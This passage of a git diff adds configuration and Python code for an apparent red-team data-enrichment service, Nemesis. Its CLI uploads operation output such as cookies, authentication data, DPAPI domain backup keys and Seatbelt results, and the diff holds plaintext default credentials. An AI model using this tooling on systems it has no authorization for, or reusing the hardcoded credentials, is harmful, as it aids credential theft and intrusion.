+LOG_LEVEL=DEBUG
+ML_CHUNK_SIZE=5000
+ML_MODELS_URI=http://127.0.0.1:5000
+MODEL_WORD_LIMIT=100000
+NEMESIS_HOST=192.168.230.42
+POSTGRES_CONNECTION_URI='postgres://nemesis:Qwerty12345@192.168.230.42:5432/nemesis'
+PROB_THRESHOLD=.95
+PROMETHEUS_PORT=18000
+RABBITMQ_CONNECTION_URI='amqp://nemesis:Qwerty12345@192.168.230.42:5672/'
+SLACK_CHANNEL=#testing3
+SLACK_EMOJI=':smiling_imp:'
+SLACK_USERNAME=Nemesis
+SLACK_WEBHOOK_URL=https://hooks.slack.com/services/REST_OF_THE_URL
+TENSORFLOW_URI=http://192.168.230.42:8501/
+TIKA_URI=http://192.168.230.42:9998
+WEB_API_URL=http://192.168.230.42:8080/api/
+YARA_API_PORT=8082
\ No newline at end of file
diff --git a/cmd/enrichment/.flake8 b/cmd/enrichment/.flake8
new file mode 100644
index 0000000..f3b8a89
--- /dev/null
+++ b/cmd/enrichment/.flake8
@@ -0,0 +1,9 @@
+[flake8]
+ignore = E231, E241
+max-line-length = 240
+count = true
+max-complexity = 10
+max-cognitive-complexity=20
+exclude =
+ enrichment/lib/ext_tools
+ .venv
\ No newline at end of file
diff --git a/cmd/enrichment/.gitignore b/cmd/enrichment/.gitignore
new file mode 100644
index 0000000..ddf4581
--- /dev/null
+++ b/cmd/enrichment/.gitignore
@@ -0,0 +1,163 @@
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib64/
+parts/
+sdist/
+var/
+wheels/
+share/python-wheels/
+*.egg-info/
+.installed.cfg
+*.egg
+MANIFEST
+
+# PyInstaller
+# Usually these files are written by a python script from a template
+# before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.nox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*.cover
+*.py,cover
+.hypothesis/
+.pytest_cache/
+cover/
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+db.sqlite3
+db.sqlite3-journal
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+.pybuilder/
+target/
+
+# Jupyter Notebook
+.ipynb_checkpoints
+
+# IPython
+profile_default/
+ipython_config.py
+
+# pyenv
+# For a library or package, you might want to ignore these files since the code is
+# intended to run in multiple environments; otherwise, check them in:
+# .python-version
+
+# pipenv
+# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
+# However, in case of collaboration, if having platform-specific dependencies or dependencies
+# having no cross-platform support, pipenv may install dependencies that don't work, or not
+# install all needed dependencies.
+#Pipfile.lock
+
+# poetry
+# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
+# This is especially recommended for binary packages to ensure reproducibility, and is more
+# commonly ignored for libraries.
+# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
+#poetry.lock
+
+# pdm
+# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
+#pdm.lock
+# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
+# in version control.
+# https://pdm.fming.dev/#use-with-ide
+.pdm.toml
+
+# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
+__pypackages__/
+
+# Celery stuff
+celerybeat-schedule
+celerybeat.pid
+
+# SageMath parsed files
+*.sage.py
+
+# Environments
+.env
+.venv
+env/
+venv/
+ENV/
+env.bak/
+venv.bak/
+
+# Spyder project settings
+.spyderproject
+.spyproject
+
+# Rope project settings
+.ropeproject
+
+# mkdocs documentation
+/site
+
+# mypy
+.mypy_cache/
+.dmypy.json
+dmypy.json
+
+# Pyre type checker
+.pyre/
+
+# pytype static type analyzer
+.pytype/
+
+# Cython debug symbols
+cython_debug/
+
+# PyCharm
+# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
+# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
+# and can be added to the global gitignore or merged into this file. For a more nuclear
+# option (not recommended) you can uncomment the following to ignore the entire idea folder.
+#.idea/
+
+process_categorizer-data/
+# Ignore dynaconf secret files
+.secrets.*
diff --git a/cmd/enrichment/.python-version b/cmd/enrichment/.python-version
new file mode 100644
index 0000000..1e33456
--- /dev/null
+++ b/cmd/enrichment/.python-version
@@ -0,0 +1 @@
+3.11.2
diff --git a/cmd/enrichment/.vscode/extensions.json b/cmd/enrichment/.vscode/extensions.json
new file mode 100644
index 0000000..a7ff5f4
--- /dev/null
+++ b/cmd/enrichment/.vscode/extensions.json
@@ -0,0 +1,17 @@
+{
+ // See https://go.microsoft.com/fwlink/?LinkId=827846 to learn about workspace recommendations.
+ // Extension identifier format: ${publisher}.${name}. Example: vscode.csharp
+ // List of extensions which should be recommended for users of this workspace.
+ "recommendations": [
+ "bungcip.better-toml",
+ "ms-python.black-formatter",
+ "ms-python.flake8",
+ "ms-python.isort",
+ "ms-python.python",
+ "ms-python.vscode-pylance",
+ "njpwerner.autodocstring",
+ "zxh404.vscode-proto3",
+ ],
+ // List of extensions recommended by VS Code that should not be recommended for users of this workspace.
+ "unwantedRecommendations": []
+}
\ No newline at end of file
diff --git a/cmd/enrichment/.vscode/launch.json b/cmd/enrichment/.vscode/launch.json
new file mode 100644
index 0000000..23be6d2
--- /dev/null
+++ b/cmd/enrichment/.vscode/launch.json
@@ -0,0 +1,60 @@
+{
+ // Use IntelliSense to learn about possible attributes.
+ // Hover to view descriptions of existing attributes.
+ // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
+ "version": "0.2.0",
+ "configurations": [
+ {
+ "name": "Service: enrichment",
+ "type": "python",
+ "request": "launch",
+ "module": "enrichment",
+ "console": "integratedTerminal",
+ "cwd": "${workspaceFolder}",
+ "justMyCode": false,
+ "env": {
+ // "PYTHONASYNCIODEBUG": "1",
+ "BETTER_EXCEPTIONS": "1",
+ "FORCE_COLOR": "1",
+ }
+ },
+ {
+ "name": "submit_to_nemesis.py - File",
+ "type": "python",
+ "request": "launch",
+ "module": "enrichment.cli.submit_to_nemesis",
+ "console": "integratedTerminal",
+ "cwd": "${workspaceFolder}",
+ "justMyCode": false,
+ "env": {
+ // "PYTHONASYNCIODEBUG": "1",
+ "BETTER_EXCEPTIONS": "1",
+ "FORCE_COLOR": "1",
+ },
+ "args": [
+ "-f",
+ "${workspaceFolder}/../../sample_files/appsettings.json",
+ "${workspaceFolder}/../../sample_files/SiteList.xml",
+ "${workspaceFolder}/../../sample_files/dotnet_assembly.exe",
+ ]
+ },
+ {
+ "name": "submit_to_nemesis.py - Folder",
+ "type": "python",
+ "request": "launch",
+ "module": "enrichment.cli.submit_to_nemesis",
+ "console": "integratedTerminal",
+ "cwd": "${workspaceFolder}",
+ "justMyCode": false,
+ "env": {
+ // "PYTHONASYNCIODEBUG": "1",
+ "BETTER_EXCEPTIONS": "1",
+ "FORCE_COLOR": "1",
+ },
+ "args": [
+ "--folder",
+ "${workspaceFolder}/../../sample_files"
+ ]
+ }
+ ]
+}
\ No newline at end of file
diff --git a/cmd/enrichment/.vscode/settings.json b/cmd/enrichment/.vscode/settings.json
new file mode 100644
index 0000000..1490d27
--- /dev/null
+++ b/cmd/enrichment/.vscode/settings.json
@@ -0,0 +1,64 @@
+{
+ "[javascript]": {
+ "editor.formatOnSave": false
+ },
+ "[html]": {
+ "editor.formatOnSave": false
+ },
+ "[python]": {
+ "editor.codeActionsOnSave": {
+ "source.organizeImports": true
+ },
+ "editor.defaultFormatter": "ms-python.black-formatter",
+ "editor.formatOnSave": true,
+ },
+ "autoDocstring.docstringFormat": "google",
+ "editor.formatOnSave": true,
+ "files.exclude": {
+ "**/.DS_Store": true,
+ "**/.git": true,
+ "**/.hg": true,
+ "**/.mypy_cache": true,
+ "**/.pytest_cache": true,
+ "**/.svn": true,
+ "**/.venv": true,
+ "**/__pycache__": true,
+ "**/Thumbs.db": true
+ },
+ "files.trimTrailingWhitespace": true,
+ "files.watcherExclude": {
+ "**/__pycache__/**": true,
+ "**/.git/objects/**": true,
+ "**/.git/subtree-cache/**": true,
+ "**/.hg/store/**": true,
+ "**/.ipynb_checkpoints/**": true,
+ "**/.mypy_cache/**": true,
+ "**/.pytest_cache/**": true,
+ "**/.venv/**": true,
+ "**/*.egg-info/**": true,
+ "**/build/**": true,
+ "**/dist/**": true,
+ "**/node_modules/*/**": true,
+ },
+ "python.analysis.diagnosticSeverityOverrides": {
+ "reportMissingImports": "none",
+ "reportMissingModuleSource": "none",
+ },
+ "python.analysis.useLibraryCodeForTypes": true, // Pyright
+ "python.formatting.provider": "none",
+ "python.languageServer": "Pylance",
+ "python.linting.enabled": true,
+ "python.linting.flake8Args": [
+ "--max-line-length=240",
+ "--ignore=E203,E722,W503",
+ ],
+ "python.linting.flake8Enabled": true,
+ "python.linting.lintOnSave": true,
+ "python.linting.pylintEnabled": false,
+ "python.testing.pytestArgs": [
+ "tests"
+ ],
+ "python.testing.unittestEnabled": false,
+ "python.testing.pytestEnabled": true,
+ "python.analysis.typeCheckingMode": "basic",
+}
\ No newline at end of file
diff --git a/cmd/enrichment/.vscode/tasks.json b/cmd/enrichment/.vscode/tasks.json
new file mode 100644
index 0000000..00b0263
--- /dev/null
+++ b/cmd/enrichment/.vscode/tasks.json
@@ -0,0 +1,12 @@
+{
+ // See https://go.microsoft.com/fwlink/?LinkId=733558
+ // for the documentation about the tasks.json format
+ "version": "2.0.0",
+ "tasks": [
+ {
+ "label": "Type Checking",
+ "type": "shell",
+ "command": "poetry run pyright"
+ }
+ ]
+}
\ No newline at end of file
diff --git a/cmd/enrichment/README.md b/cmd/enrichment/README.md
new file mode 100644
index 0000000..cd387bc
--- /dev/null
+++ b/cmd/enrichment/README.md
@@ -0,0 +1,33 @@
+# Usage
+```
+docker build -t enrichments .
+
+docker run --rm enrichments
+```
+
+# submit_to_nemesis
+Usage:
+```
+poetry run python -m enrichment.cli.submit_to_nemesis [OPTIONS]
+```
+
+Example: Submit all files to the folder (use the absolute path):
+```
+poetry run python -m enrichment.cli.submit_to_nemesis --folder /code/ods/sample_files
+```
+
+Example: Submit multiple files with verbose logging
+```
+poetry run python -m enrichment.cli.submit_to_nemesis -f /etc/issue /etc/hosts --log_level DEBUG
+```
+
+
+# Yara
+
+To post a file to the Yara endpoint, use:
+```
+curl -i -X POST --user 'nemesis:Password123!' -H "Content-Type: multipart/form-data" -F "file=@file.exe" http://127.0.0.1:8080/yara/file
+```
+
+# Acknowldegements
+* AV product list was originally derived partially from https://github.com/kazimer/Aggressor-scripts-1/tree/master/Ps-highlight
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/__main__.py b/cmd/enrichment/enrichment/__main__.py
new file mode 100644
index 0000000..e7e7a6d
--- /dev/null
+++ b/cmd/enrichment/enrichment/__main__.py
@@ -0,0 +1,14 @@
+# 3rd Party Libraries
+from enrichment.bootstrap import main
+from enrichment.containers import Container
+
+if __name__ == "__main__":
+ container = Container()
+ container.wire(
+ modules=[
+ "enrichment",
+ "enrichment.bootstrap",
+ ]
+ )
+
+ main(container)
diff --git a/cmd/enrichment/enrichment/bootstrap.py b/cmd/enrichment/enrichment/bootstrap.py
new file mode 100644
index 0000000..6b5539b
--- /dev/null
+++ b/cmd/enrichment/enrichment/bootstrap.py
@@ -0,0 +1,143 @@
+# Standard Libraries
+import asyncio
+import signal
+from typing import Any, List, Optional
+from urllib.parse import urlparse
+
+# 3rd Party Libraries
+import structlog
+from dependency_injector.wiring import Provide, inject
+from enrichment.containers import Container
+from enrichment.settings import EnrichmentSettings
+from nemesiscommon.logging import configure_logger
+from nemesiscommon.setupqueues import initRabbitMQ
+from nemesiscommon.socketwaiter import SocketWaiter
+from nemesiscommon.tasking import TaskDispatcher
+
+logger: structlog.BoundLogger = structlog.get_logger(module=__name__)
+
+
+@inject
+async def amain(container: Container):
+ await container.init_resources() # type: ignore
+
+ task_list = []
+ config = container.config2()
+
+ if config.storage_provider == "s3":
+ container.storage_service.override(container.storage_service_s3)
+
+ await initRabbitMQ(config.rabbitmq_connection_uri)
+ await wait_for_services(config)
+
+ task_names = get_task_names(config, container)
+
+ for name in task_names:
+ t = await container.tasks(name) # type: ignore
+ task_list.append(t)
+
+ await logger.ainfo("Starting task dispatcher", tasks=task_names)
+ dispatcher = TaskDispatcher(task_list, config.prometheus_port)
+ await dispatcher.start()
+
+
+def get_task_names(config: EnrichmentSettings, container: Container) -> List[str]:
+ all_tasks = list(container.tasks.providers.keys())
+
+ if not config.tasks:
+ return all_tasks
+
+ excluded_tasks = [t[1:] for t in config.tasks if t.startswith("-")]
+
+ # If there's task exclusions, only return tasks that aren't in the exclusion list
+ if excluded_tasks:
+ if len(excluded_tasks) != len(config.tasks):
+ raise ValueError("Cannot mix specifying both task exclusions and inclusions")
+
+ validate_task_names(excluded_tasks, all_tasks)
+ return [t for t in all_tasks if t not in excluded_tasks]
+
+ # Ensure the configured tasks are valid
+ validate_task_names(config.tasks, all_tasks)
+ return config.tasks
+
+
+def validate_task_names(input_tasks: List[str], all_tasks: List[str]):
+ for t in input_tasks:
+ if t not in all_tasks:
+ raise ValueError(f"'{t}' is not a valid task name. Possible tasks: {all_tasks.sort()}")
+
+
+@inject
+def main(container: Container, config=Provide[Container.config]):
+ configure_logger(False, config["log_level"], config["environment"].value)
+ logger = structlog.get_logger(module=__name__)
+ loop = asyncio.get_event_loop()
+
+ if config["environment"].is_development():
+ # loop.set_debug(True)
+ loop.slow_callback_duration = 1
+
+ signals = (signal.SIGHUP, signal.SIGTERM, signal.SIGINT)
+ for s in signals:
+ loop.add_signal_handler(s, lambda s=s: asyncio.create_task(shutdown(container, loop, s)))
+ loop.set_exception_handler(handle_exception)
+
+ try:
+ task = amain(container)
+ loop.run_until_complete(task)
+ except asyncio.exceptions.CancelledError:
+ logger.debug("Primary App asyncio task cancelled. Application is shutting down.")
+
+
+async def shutdown(container: Container, loop: asyncio.AbstractEventLoop, signal: Optional[signal.Signals] = None):
+ """Cleanup tasks tied to the service's shutdown."""
+
+ if signal:
+ logger.info(f"Shutting down due the signal '{signal.name}'...")
+ else:
+ logger.info("Shutting down...")
+
+ await container.shutdown_resources() # type: ignore
+ tasks = [t for t in asyncio.all_tasks() if t is not asyncio.current_task()]
+
+ logger.debug(f"Cancelling {len(tasks)} outstanding tasks")
+ [task.cancel() for task in tasks]
+
+ await asyncio.gather(*tasks)
+
+ loop.stop()
+
+
+def handle_exception(loop: asyncio.AbstractEventLoop, context: dict[str, Any]):
+ # context["message"] will always be there; but context["exception"] may not
+ e = context.get("exception", None)
+ msg = context.get("message")
+
+ if "exception" in context:
+ logger.error(
+ "Unhandled global exception",
+ exception=str(e),
+ exception_message=msg,
+ )
+ else:
+ logger.error("Unhandled global exception", exception_message=msg)
+
+ # logger.info("Shutting down...")
+ # asyncio.create_task(shutdown(loop))
+
+
+async def wait_for_services(config: EnrichmentSettings) -> None:
+ rabbitUri = urlparse(config.rabbitmq_connection_uri)
+ elasticUri = urlparse(config.elasticsearch_url)
+ postgresUri = urlparse(config.postgres_connection_uri)
+
+ if rabbitUri.hostname is None or elasticUri.hostname is None or postgresUri.hostname is None:
+ raise Exception("Invalid connection URI")
+ if rabbitUri.port is None or elasticUri.port is None or postgresUri.port is None:
+ raise Exception("Invalid connection URI")
+
+ SocketWaiter(rabbitUri.hostname, rabbitUri.port).wait()
+ SocketWaiter(elasticUri.hostname, elasticUri.port).wait()
+ SocketWaiter(postgresUri.hostname, postgresUri.port).wait()
+ await logger.ainfo("All services are online!")
diff --git a/cmd/enrichment/enrichment/cli/submit_to_nemesis/__main__.py b/cmd/enrichment/enrichment/cli/submit_to_nemesis/__main__.py
new file mode 100644
index 0000000..85a86cf
--- /dev/null
+++ b/cmd/enrichment/enrichment/cli/submit_to_nemesis/__main__.py
@@ -0,0 +1,54 @@
+# Standard Libraries
+import asyncio
+import signal
+
+# 3rd Party Libraries
+from enrichment.cli.submit_to_nemesis.submit_to_nemesis import amain
+
+
+def handle_exception(loop: asyncio.AbstractEventLoop, context):
+ e = context.get("exception")
+ msg = context.get("message")
+
+ if e:
+ if type(e) == SystemExit:
+ # Something called sys.exit()
+ pass
+ else:
+ print(f"Caught unhandled global exception: {type(e)}. Message: {msg}")
+ else:
+ print(f"Caught unhandled global exception: {msg}")
+
+ asyncio.create_task(shutdown(loop))
+
+
+async def shutdown(loop: asyncio.AbstractEventLoop, signal=None):
+ """Cleanup tasks tied to the service's shutdown."""
+ if signal:
+ # print(f"Received exit signal {signal.name}...")
+ pass
+
+ tasks = [t for t in asyncio.all_tasks() if t is not asyncio.current_task()]
+
+ [task.cancel() for task in tasks]
+
+ await asyncio.gather(*tasks, return_exceptions=True)
+ loop.stop()
+
+
+def main():
+ loop = asyncio.get_event_loop()
+ signals = (signal.SIGHUP, signal.SIGTERM, signal.SIGINT)
+ for s in signals:
+ loop.add_signal_handler(s, lambda s=s: asyncio.create_task(shutdown(loop, signal=s)))
+ loop.set_exception_handler(handle_exception)
+
+ try:
+ task = loop.create_task(amain())
+ loop.run_until_complete(task)
+ finally:
+ loop.close()
+
+
+if __name__ == "__main__":
+ main()
diff --git a/cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.py b/cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.py
new file mode 100644
index 0000000..f141701
--- /dev/null
+++ b/cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.py
@@ -0,0 +1,668 @@
+#!/usr/bin/python3
+
+# Standard Libraries
+import argparse
+import asyncio
+import functools
+import glob
+import json
+import os
+import random
+import re
+import sys
+import uuid
+from datetime import datetime, timedelta
+from typing import Any, AsyncIterator, Callable, Dict, Iterator, List, Optional, Tuple
+
+# 3rd Party Libraries
+import httpx
+import requests
+import structlog
+import urllib3
+import yaml
+from nemesiscommon.apiclient import FileUploadRequest, NemesisApiClient
+from nemesiscommon.logging import configure_logger
+from structlog.typing import FilteringBoundLogger
+
+urllib3.disable_warnings()
+
+logger: FilteringBoundLogger
+
+
+async def get_config() -> dict[str, str]:
+ global logger
+ config: Dict[str, str] = {}
+
+ #######
+ # Parse command line args
+ #######
+ parser = argparse.ArgumentParser(description="Submit file(s) to Nemesis.", prog="submit_to_nemesis")
+ parser.add_argument("-f", "--file", type=str, nargs="+", help="File(s) to submit to Nemesis")
+ parser.add_argument("--folder", type=str, nargs="+", help="Folders(s) to submit to Nemesis")
+ parser.add_argument("-s", "--sec_between_files", type=float, nargs="?", default=0, help="Seconds between file submissions (default 0). If > 0, it cannot be used with the --workers argument.")
+ parser.add_argument("-w", "--workers", type=int, nargs="?", default=10, help="Number of workers to use (default 10). If --sec_between_files argument is set, value will be 1")
+ parser.add_argument("-r", "--repeat", type=int, default=0, help="Times to repeat the submission (for stress testing)")
+ parser.add_argument("-l", "--log_level", type=str, default="INFO", help="Log level (default INFO)")
+ parser.add_argument("-t", "--timeout", type=int, default=60, help="HTTP connect/read/write/pool timeout in seconds (default 60)")
+ parser.add_argument("-c", "--cookies", type=int, help="Number of fake cookies to construct and generate.")
+ if len(sys.argv) < 2:
+ parser.print_usage()
+ return None
+
+ try:
+ args = parser.parse_args()
+ except SystemExit:
+ return None
+
+ #######
+ # Load settings from config file
+ #######
+ script_folder = os.path.dirname(os.path.realpath(__file__))
+ config_file_path = f"{script_folder}/submit_to_nemesis.yaml"
+
+ if os.path.exists(config_file_path):
+ with open(config_file_path, "rb") as f:
+ config = yaml.safe_load(f)
+ else:
+ config["nemesis_url"] = ""
+ while not config["nemesis_url"]:
+ config["nemesis_url"] = input("Nemesis URL http://:/ : ")
+ if not config["nemesis_url"].endswith("/"):
+ config["nemesis_url"] = config["nemesis_url"] + "/"
+
+ config["nemesis_creds"] = ""
+ while not config["nemesis_creds"]:
+ config["nemesis_creds"] = input("Nemesis creds : : ")
+
+ config["operator_name"] = ""
+ while not config["operator_name"]:
+ config["operator_name"] = input("Operator name (required): ")
+ config["operator_name"] = config["operator_name"].upper()
+
+ config["project_name"] = ""
+ while not config["project_name"]:
+ config["project_name"] = input("Project name (required): ")
+ config["project_name"] = config["project_name"].upper()
+
+ config["network_name"] = ""
+ if not config["network_name"]:
+ config["network_name"] = input("Network name (optional): ")
+
+ config["expiration_days"] = 100
+ config["expiration_days"] = input("Days until data expiration (optional, default 100): ")
+ while config["expiration_days"] and not config["expiration_days"].isnumeric():
+ config["expiration_days"] = int(input("Days until data expiration (optional, default 100): "))
+ if not config["expiration_days"]:
+ config["expiration_days"] = 100
+ config["expiration_days"] = int(config["expiration_days"])
+
+ config["elasticsearch_url"] = ""
+ while not config["elasticsearch_url"]:
+ config["elasticsearch_url"] = input("Elasticsearch URL http://:/elastic/ : ")
+ if config["elasticsearch_url"].endswith("/"):
+ config["elasticsearch_url"] = config["elasticsearch_url"].rstrip("/")
+
+ config["elasticsearch_creds"] = ""
+ while not config["elasticsearch_creds"]:
+ config["elasticsearch_creds"] = input("Elasticsearch creds : : ")
+
+ with open(config_file_path, "w") as f:
+ yaml.dump(config, f)
+
+ nemesis_user, nemesis_pass = config["nemesis_creds"].split(":")
+ config["nemesis_user"] = nemesis_user
+ config["nemesis_pass"] = nemesis_pass
+
+ config["file"] = args.file
+ config["folder"] = args.folder
+ config["sec_between_files"] = args.sec_between_files
+ config["repeat"] = args.repeat
+ config["timeout"] = args.timeout
+ config["log_level"] = args.log_level
+ config["cookies"] = args.cookies
+
+ configure_logger(False, config["log_level"])
+ global logger
+ logger = structlog.getLogger()
+ logger.debug("Config", config=config)
+
+ if args.sec_between_files > 0:
+ if args.workers > 1:
+ logger.warning("sec_between_files argument is set, workers will be set to 1")
+ config["workers"] = 1
+ else:
+ config["workers"] = args.workers
+
+ return config
+
+
+async def get_timestamp(days_to_add=0):
+ dt = datetime.now()
+
+ if days_to_add != 0:
+ dt = dt + timedelta(days=days_to_add)
+
+ return dt.strftime("%Y-%m-%dT%H:%M:%S.000Z")
+
+
+async def get_metadata(config, data_type="file_data"):
+ metadata = {}
+ metadata["agent_id"] = config["operator_name"]
+ metadata["agent_type"] = "submit_to_nemesis"
+ metadata["automated"] = False
+ metadata["data_type"] = data_type
+ # metadata["source"] = "computer.domain.com"
+ metadata["expiration"] = await get_timestamp(config["expiration_days"])
+ metadata["project"] = config["project_name"]
+ metadata["timestamp"] = await get_timestamp()
+ return metadata
+
+
+api_client: httpx.AsyncClient = None
+
+
+async def get_nemesis_api_client(config) -> httpx.AsyncClient:
+ global api_client, logger
+ if not api_client:
+ nemesis_url = config["nemesis_url"]
+ nemesis_user = config["nemesis_user"]
+ nemesis_pass = config["nemesis_pass"]
+ timeout = config["timeout"]
+
+ auth = httpx.BasicAuth(nemesis_user, nemesis_pass)
+ transport = httpx.AsyncHTTPTransport(retries=5)
+ limits = httpx.Limits(
+ max_keepalive_connections=5,
+ max_connections=10,
+ )
+
+ api_client = httpx.AsyncClient(base_url=nemesis_url, auth=auth, transport=transport, timeout=timeout, limits=limits)
+
+ return api_client
+
+
+async def nemesis_post_file(config: Dict[str, str], file_path: str):
+ """
+ Takes a series of raw file bytes and POSTs it to the NEMESIS /file API endpoint.
+
+ **Parameters**
+
+ ``file_bytes``
+ Bytes of the file we're uploading.
+
+ **Returns**
+
+ A new UUID string returned by the Nemesis API.
+ """
+ nemesis_url = config["nemesis_url"]
+
+ client = NemesisApiClient(nemesis_url, await get_nemesis_api_client(config))
+
+ try:
+ resp = await client.send_file(FileUploadRequest(file_path))
+ except httpx.HTTPStatusError as e:
+ if e.response.status_code == 404:
+ logger.error("Nemesis API server returned 404 Not Found. Is the URL correct or is the API route enabled?", url=nemesis_url)
+ else:
+ logger.error(f"Nemesis API server returned {e.response.status_code}")
+ except httpx.TimeoutException as e:
+ timeoutStr = type(e).__name__
+ logger.error(f"HTTP {timeoutStr} occured while making Nemesis API call", url=nemesis_url, timeout_type=timeoutStr)
+ return None
+ except httpx.ConnectError:
+ logger.error("Unable to connect to Nemesis API server", url=nemesis_url)
+ return None
+ except PermissionError:
+ logger.error("Access denied to file")
+ return None
+ except Exception as e:
+ logger.exception(e, message="nemesis_post_file error")
+ return None
+ else:
+ logger.debug(f"Uploaded file '{file_path}' to nemesis! File ID: {resp.object_id}. Sending file data message...")
+ return resp.object_id
+
+
+async def nemesis_post_data(config, data):
+ """
+ Takes a json blob and POSTs it to the NEMESIS /data API endpoint.
+
+ **Parameters**
+
+ ``data``
+ JSON formatted blob to post.
+
+ **Returns**
+
+ True if the request was successful, False otherwise.
+ """
+
+ client = await get_nemesis_api_client(config)
+
+ resp = await client.post(NemesisApiClient.DATA_ENDPOINT, json=data)
+ resp.raise_for_status()
+
+ obj = resp.json()
+ return obj
+
+
+async def submit_random_cookies(config, num_cookies=1000) -> uuid.UUID | None:
+ """
+ Generates the specified number of cookies and submits the entire batch
+ at once to Nemesis.
+ """
+
+ metadata = await get_metadata(config, "cookie")
+
+ word_site = "https://www.mit.edu/~ecprice/wordlist.10000"
+ response = requests.get(word_site)
+ words = response.content.decode("utf-8").splitlines()
+ domain = f"{'-'.join(random.choices(words, k=2))}.com"
+ cookie_data = []
+
+ for i in range(num_cookies):
+ if i % 100 == 0:
+ domain = f"{'-'.join(random.choices(words, k=2))}.com"
+ cookie_data.append({"user_data_directory": "C:/Users/harmj0y/AppData/Local/Google/Chrome/User Data/Default/Cookies",
+ "domain": domain,
+ "path": "/",
+ "name": f"VALUE_{i}",
+ "value": f"{random.choice(words)}_{random.randint(1, 10000000)}",
+ "expires": "2030-01-01T01:01:01.000Z",
+ "secure": True,
+ "http_only": True,
+ "session": False,
+ "samesite": "lax",
+ "source_port": 443
+ })
+
+ resp = await nemesis_post_data(config, {"metadata": metadata, "data": cookie_data})
+ return uuid.UUID(resp["object_id"]) if resp else None
+
+
+async def process_file(config, file_path) -> uuid.UUID | None:
+ """
+ Takes a configuration dictionary and file path and uploads the file to Nemesis,
+ then posting the file_data message.
+ """
+
+ if "services_api.json" in file_path: # NOTE: This must not conflict with the example Seatbelt services either
+ with open(file_path, "r") as f:
+ services_json_raw = f.read()
+ services_json = json.loads(services_json_raw)
+ resp = await nemesis_post_data(config, services_json)
+ return uuid.UUID(resp["object_id"]) if resp else None
+
+ elif re.match(r".*file_information.*\.json$", file_path):
+ with open(file_path, "r") as f:
+ file_information = f.read()
+ file_information_json = json.loads(file_information)
+ resp = await nemesis_post_data(config, file_information_json)
+ return uuid.UUID(resp["object_id"]) if resp else None
+
+ elif re.match(r".*registry_value.*\.json$", file_path):
+ with open(file_path, "r") as f:
+ registry_value = f.read()
+ registry_value_json = json.loads(registry_value)
+ resp = await nemesis_post_data(config, registry_value_json)
+ return uuid.UUID(resp["object_id"]) if resp else None
+
+ elif re.match(r".*authentication_data.*\.json$", file_path):
+ with open(file_path, "r") as f:
+ authentication_data = f.read()
+ authentication_data_json = json.loads(authentication_data)
+ resp = await nemesis_post_data(config, authentication_data_json)
+ return uuid.UUID(resp["object_id"]) if resp else None
+
+ elif re.match(r".*cookies.*\.json$", file_path):
+ with open(file_path, "r") as f:
+ cookie = f.read()
+ cookie_json = json.loads(cookie)
+ resp = await nemesis_post_data(config, cookie_json)
+ return uuid.UUID(resp["object_id"]) if resp else None
+
+ elif re.match(r".*named_pipes.*\.json$", file_path):
+ with open(file_path, "r") as f:
+ named_pipes = f.read()
+ named_pipes_json = json.loads(named_pipes)
+ resp = await nemesis_post_data(config, named_pipes_json)
+ return uuid.UUID(resp["object_id"]) if resp else None
+
+ elif re.match(r".*network_connections.*\.json$", file_path):
+ with open(file_path, "r") as f:
+ network_connections = f.read()
+ network_connections_json = json.loads(network_connections)
+ resp = await nemesis_post_data(config, network_connections_json)
+ return uuid.UUID(resp["object_id"]) if resp else None
+
+ elif "bof_reg_collect.nemesis" in file_path:
+ object_id = await nemesis_post_file(config, file_path)
+ if not object_id:
+ logger.error("No nemesis_file_id returned when uploading bof_reg_collect.nemesis")
+ return None
+ else:
+ logger.debug("bof_reg_collect.nemesis uploaded to Nemesis", file_uuid=object_id)
+
+ metadata = await get_metadata(config, "raw_data")
+
+ raw_data = {}
+ raw_data["tags"] = ["bof_reg_collect"]
+ raw_data["data"] = object_id
+ raw_data["is_file"] = True
+
+ resp = await nemesis_post_data(config, {"metadata": metadata, "data": [raw_data]})
+ if resp:
+ logger.debug("bof_reg_collect.nemesis data sent to Nemesis", file_uuid=resp["object_id"])
+ return uuid.UUID(resp["object_id"])
+ else:
+ return None
+
+ elif "dpapi_domain_backupkey.json" in file_path:
+ object_id = await nemesis_post_file(config, file_path)
+ if not object_id:
+ logger.error("No nemesis_file_id returned when uploading DPAPI domain backup key")
+ return None
+ else:
+ logger.debug("DPAPI domain backup key file uploaded to Nemesis", file_uuid=object_id)
+
+ metadata = await get_metadata(config, "raw_data")
+
+ raw_data = {}
+ raw_data["tags"] = ["dpapi_domain_backupkey"]
+ raw_data["data"] = object_id
+ raw_data["is_file"] = True
+
+ resp = await nemesis_post_data(config, {"metadata": metadata, "data": [raw_data]})
+ if resp:
+ logger.debug("DPAPI backupkey file data sent to Nemesis", file_uuid=resp["object_id"])
+ return uuid.UUID(resp["object_id"])
+ else:
+ return None
+
+ elif "seatbelt" in file_path:
+ object_id = await nemesis_post_file(config, file_path)
+ if not object_id:
+ logger.error("No nemesis_file_id returned from seatbelt file upload", file_path=file_path)
+ return None
+ else:
